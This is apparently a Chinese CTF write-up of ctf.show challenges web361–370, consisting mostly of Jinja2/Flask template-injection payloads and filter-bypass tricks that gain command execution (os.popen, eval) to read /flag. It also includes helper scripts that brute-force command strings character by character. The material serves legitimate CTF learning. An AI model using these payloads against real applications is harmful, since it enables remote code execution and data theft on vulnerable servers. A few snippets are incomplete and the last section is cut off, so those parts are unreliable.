web361
payload(调用了“os_wrap_close”):
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}
or
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} //使用内建名称空间
web362
这关好像是频闭了父类下面的所有子类
payload
?name={{config.__class__.__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")}}
or
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
or
?name={{x.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
//这里的x任意26个英文字母的任意组合都可以
web363
这关过滤了单双引号
参考:https://xz.aliyun.com/t/6885
我们可以使用request.args来绕过此处引号的过滤。
request.args是flask中一个存储着请求参数以及其值的字典
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a][request.args.b](request.args.c)}}&a=__builtins__&b=eval&c=__import__('os').popen("ls").read()
也可以考虑字符串拼接,这里用config拿到字符串,比较麻烦就不全演示了
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
相当于?name=
web364
这关过滤了引号和args,用request.from提交发现不允许,但可以用cookies
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie: a=os;b=popen;c=ls
还可以用chr()函数绕过
中括号实际上影响我们的只有从数组中取值,例如__bases__()[1],而后续的中括号实际是不必要的,globals[“os”]可以替换为globals.os
所以首先fuzz一下chr()函数在哪:
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
/163654.png)
可以看到爆出了很多,随便选一个
{{().__class__.__bases__[0].__subclasses__()[227].__init__.__globals__.__builtins__.chr}}
接着尝试使用chr尝试绕过后续所有的引号:
{%set+chr=[].__class__.__bases__[0].__subclasses__()[227].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}
web365
过滤了中括号,但过滤了中括号实际上影响我们的只有从数组中取值,而从数组中取值可以使用pop/getitem等数组自带方法。不过还是建议用getitem,因为pop会破坏数组的结构。
a[0]与a.getitem(0)的效果是一样的,所以上述payload可以用此来绕过:
?name={{{}.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.a).read()}}
这里也尝试用一下字符串拼接,写个python脚本跑出来:
import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url%(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j:
print("config.__str__().__getitem__(%d) == %s"%(i,j))
result+="config.__str__().__getitem__(%d)~"%(i)
break
print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}
注:__getitem__()
也可以用get()
来代替
web366
在之前的基础上又ban了_
,用url_for.(request.cookies.a)的话会500,这关就用flask自带的过滤器attr
参考https://docs.jinkan.org/docs/jinja2/templates.html#id36
例如foo|attr(“bar”)的意思就是foo[“bar”]
payload
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie传参:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /f*').read()
or
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
传参:a=__globals__;b=cat /f*
web367
过滤了os
payload
?name={{(lipsum|attr(request.cookies.a)|attr(request.cookies.b))(request.cookies.c).popen(request.cookies.d).read()}}
a=__globals__;b=__getitem__;c=os;d=cat /f*
web368
ban了{\{,就要想办法拿{% %}来绕过。把上一题的改一下就能直接用了:
?name={%print((lipsum|attr(request.cookies.a)|attr(request.cookies.b))(request.cookies.c).popen(request.cookies.d).read())%}
a=__globals__;b=__getitem__;c=os;d=cat /f*
web369
ban了request,就想办法自己凑字符了,这里拿config来凑。但是一个问题是_被ban了,所以__str__()用不了,这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,写个脚本:
import requests
url="http://8db9791d-549f-4151-a095-6bfbce54ba2b.challenge.ctf.show/?name={{% print (config|string|list).pop({}).lower() %}}"
payload="cat /flag"
raws=""
for i in payload:
for j in range(0,1000):
result=requests.get(url=url.format(j))
location=result.text.find("<h3>")
ak=result.text[location+4:location+5]
if(ak==i):
print("(config|string|list).pop({}).lower=={}".format(j,i))
raws+="(config|string|list).pop({}).lower()~".format(j)
break
print(raws)
最终payload
?name={% print ((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read()) %}
还有一种yu师傅的姿势
http://de1d82f0-b40d-430f-9cb5-ce2435f44306.chall.ctf.show:8080/?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
这是新的拼接字符的方式,例如:
{% set a=dict(o=oo,s=ss)|join %}
这样得到的a就是把这个字典的键名拼接后的值,即os
web370
ban了数字,可以把一些东西转string再转list,然后用index,然后基本上所有数字都可以拿到
{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set f=dict(f=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
{% set qi=(config|string|list).index(n)%2B(config|string|list).index(f)%}
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set kongge=(config|string|list).pop(qi)%}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(dict(cat=d)|join,kongge,xiegang,dict(flag=z)|join)|join %}
{% set ha=dict(o=x,s=k)|join%}
{% print (lipsum|attr(globals)).get(ha).popen(gangfulaige).read() %}
yu师傅的姿势,可以用length很方便的得到数字:
{% set one=(dict(c=z)|join|length) %}
{% set two=(dict(cc=z)|join|length) %}
还有一种用过滤器int得到数字的方式:
{% set ten=(dict(aaaaaaaaaa=a)|join|count)%}
{% set two=(dict(aa=a)|join|count)%}
{% set twofour=( two~four)|int%}
{% set a=(()|select|string|list).pop(twofour)%}
{% set chr=a.chr%}
{% print a.open(chr((four~seven)|int)~chr((ten~two)|int)~chr((ten~eight)|int)~chr((nine~seven)|int)~chr((ten~three)|int)).read()%}
**web371~372
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。